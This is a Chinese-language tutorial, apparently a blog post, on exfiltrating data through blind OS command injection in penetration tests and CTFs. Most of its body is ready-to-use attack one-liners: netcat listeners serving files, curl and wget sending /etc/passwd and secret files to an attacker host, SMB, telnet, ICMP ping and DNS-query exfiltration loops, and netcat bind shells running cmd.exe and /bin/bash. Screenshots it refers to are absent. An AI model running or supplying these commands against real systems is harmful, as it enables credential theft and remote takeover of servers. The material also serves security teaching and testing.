无论是在渗透测试还是ctf比赛中我们都可能会遇到目标应用把用户的输入当做系统命令或者系统命令的一部分去执行的情况。
如果应用没有正确的验证、过滤用户的输入就会使得系统受到命令注入攻击,常见的有以下场景:
- 使用用户提供的邮箱地址发送邮件的应用程序
- 服务器监控类型的应用,他们会返回系统的健康状况,这些健康状况都是通过执行系统命令取得的
- 使用第三方软件根据用户提供的输入实时生成报告的应用程序
而在发现这个漏洞的之后,我们往往会利用它来获取系统的一些敏感信息或者直接获取shell,获取shell这一块咱们先不聊,单来聊一聊怎么从目标服务器获得敏感数据,先来看一个最简单的例子:
从上图可以看到,我注入了一个windows的命令type
,并利用它读取了missile-launch-code.txt文件的内容,而内容也直接回显到了响应中
我想,这是大家最希望碰到的情况
但是,在实际渗透中,还有很多不会直接回显的情况,这种时候我们就需要利用各种带外通信技巧?
当然,在提及带外通信技巧前,我们还得来看看命令注入中最常用到的连接命令的技巧,直接放个图吧
上面就是一些最常见的命令连接小技巧,例如ping 192.168.1.1 | echo 123
,会依次执行ping命令以及echo命令,接下来咱们回归正题,聊聊命令盲注中外带数据的一些姿势
NetCat
如果存在漏洞的目标系统上安装有netcat,我们就可以直接利用netcat将操作系统的标准输出重定向到netcat监听的端口,类似下面这样
代码语言:javascript复制nc –l –p {port} < {file/to/extract}
当我们向目标系统注入了类似上面这样形式的命令时,我们就可以在我们自己的主机上利用netcat连接目标的监听端口,然后我们就可以得到想要的敏感信息了,如下图所示
如果目标系统是windows的话,我们需要稍微修改一下命令:
代码语言:javascript复制type {file to extract} | nc -L -p {port}
cURL
cURL是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。如果易受攻击的服务器具有cURL,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件。
一旦发现了OS命令注入漏洞,可以使用以下命令将文件的内容发送到我们的web服务器:
cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
效果如下:
CURL命令还可以用于通过FTP传输文件。一旦发现了OS命令注入漏洞,可以使用-T将文件传输到FTP服务器
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user :{password}
效果如下:
WGET
Wget是一种更常用的工具,用于从web上非交互式地下载文件,但是,它同样可以用来外带数据
wget可以使用如下方式设置请求头:
–header=’name:value’
既然支持自定义请求头了,那么是不是也可以把敏感数据放到请求头里带出来呢?命令如下:
wget –header=”EVIL:$(cat /data/secret/password.txt)”http://xxx.xxx.xxx:xxx
效果:
可以看到password.txt文件里的内容作为EVIL头的值被成功外带了出来
但是上面的方式比较适合读取单行数据的文件,如果是多行怎么办呢?
考验shell命令基础是否扎实的时候到了
代码语言:javascript复制wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx
shell玩得好,老婆随便找?
除此之外,也可以使用WGET向web服务器提交POST请求,--post-data
选项用来提交body,--post-file
用来上传文件,使用示例如下:
wget –post-data exfil=`cat /data/secret/secretcode.txt`&b=1 http://xxx.xxx.xxx.xxx:xxxx
下一个命令显示如何使用--post-file
来读取源代码。在渗透测试时,我们可以查看源代码以进一步确定漏洞,在CTF中,可以用来读取隐藏在PHP代码中的flag
wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx
SMB
如果漏洞服务器是windows系统,我们可以使用网络共享功能读取文件
我们可以使用命令让漏洞服务器连接到我们自己开设的共享上,然后向我们的共享文件夹复制文件
net use h: \xxx.xxx.xxx.xxxweb /user: {password} && copy {File to Copy} h:{filename}.txt
TELNET
telnet也很简单了嘛:
telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
ICMP
如果目标系统做了加固或者没有安装上面说的那些“方便”的工具,我们还可以使用ping命令来操作操作。
如果目标系统是linux,我们可以使用ICMP协议的echo requests外带数据,在linux下,可以用ping命令的-p
选项实现。
但是-p
选项外带的数据最多只能16 “pad”字节,所以利用起来稍微麻烦一点,但是不影响。在linux下还有一个小工具可以帮助我们,那就是xxd命令,不过这个命令在一些系统里是没有默认安装的...
搭配xxd,我们可以用一行命令使用ping外带数据:
cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done
在wireshark里,我们可以看到外带的数据,但是数据很零散,我们可以使用脚本从wireshak数据包中提取我们需要的数据
DNS
与使用ping类似,DNS也可用于窃取数据。这一次,我们将使用每一行数据作为DNS查询的主机名。通过监控我们机器上的流量,我们可以重新组装文件。
cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done
wireshark抓的包中的数据:
何不弹个shell?
害,看完上面的,我只想说,还是弹个shell吧?
代码语言:javascript复制nc -L -p 9090 -e cmd.exe (Windows)
nc -l -p 9090 -e /bin/bash (*nix)
怕什么真理无穷,进一寸有进一寸的欢喜